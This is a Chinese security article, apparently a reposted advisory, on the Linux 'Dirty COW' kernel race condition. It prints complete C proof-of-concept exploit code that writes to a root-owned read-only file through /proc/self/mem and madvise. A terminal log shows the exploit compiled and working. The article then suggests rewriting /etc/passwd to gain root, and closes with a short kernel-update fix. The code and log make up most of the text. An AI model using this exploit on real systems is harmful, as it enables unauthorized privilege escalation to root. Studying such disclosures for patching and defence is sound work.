➜ ~ cat /proc/version
Linuxversion 4.4.0-42-generic(buildd@lgw01-13) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.2) )#62-Ubuntu SMP Fri Oct 7 23:11:45 UTC 2016
#include<stdio.h> #include<sys/mman.h> #include<fcntl.h> #include<pthread.h> #include<string.h> void *map; int f; structstat st; char*name; void*madviseThread(void *arg) { char *str; str = (char *)arg; int i, c = 0; for (i = 0; i < 100000000; i++) { c += madvise(map, 100, MADV_DONTNEED); } printf("madvise %d\n", c); } void*procselfmemThread(void *arg) { char *str; str = (char *)arg; int f = open("/proc/self/mem",O_RDWR); int i, c = 0; for (i = 0; i < 100000000; i++) { lseek(f, map, SEEK_SET); c += write(f, str, strlen(str)); } printf("procselfmem %d\n", c); } intmain(int argc, char *argv[]) { if (argc < 3) return 1; pthread_t pth1, pth2; f = open(argv[1], O_RDONLY); fstat(f, &st); name = argv[1]; map = mmap(NULL, st.st_size, PROT_READ,MAP_PRIVATE, f, 0); printf("mmap %x\n", map); pthread_create(&pth1, NULL,madviseThread, argv[1]); pthread_create(&pth2, NULL,procselfmemThread, argv[2]); pthread_join(pth1, NULL); pthread_join(pth2, NULL); return 0; }
➜ /tmp gcc a.c -lpthread a.c: Infunction ‘procselfmemThread’: a.c:28:5:warning: implicit declaration of function ‘lseek’[-Wimplicit-function-declaration] lseek(f, map, SEEK_SET); a.c:29:10:warning: implicit declaration of function ‘write’[-Wimplicit-function-declaration] c += write(f, str, strlen(str)); a.c: Infunction ‘main’: a.c:39:3:warning: implicit declaration of function ‘fstat’[-Wimplicit-function-declaration] fstat(f, &st);
➜ /tmp su root -c 'echo 0000 > test' Password: ➜ /tmp ls -al test -rw-r--r--1 root root 5 Oct 16 23:52 test
➜ /tmp id uid=1000(Monster) gid=1000(monster) groups=1000(monster) ➜ /tmp ./a.out test 1111 mmap61222000 madvise 0 procselfmem400000000
➜ /tmp cat test 1111
这样的话,只要修改 /etc/passwd 把当前用户的 uid 改成 0 就可以作为 root 登录了。
修复方案:
更新最新 Linux Kernel 源码,并重新编译。 各大发行版也已经更新 Kernel,也可直接升级最新版本。
参考:
【via@长亭科技】 本文系授权转载,未经作者授权请勿转载本文。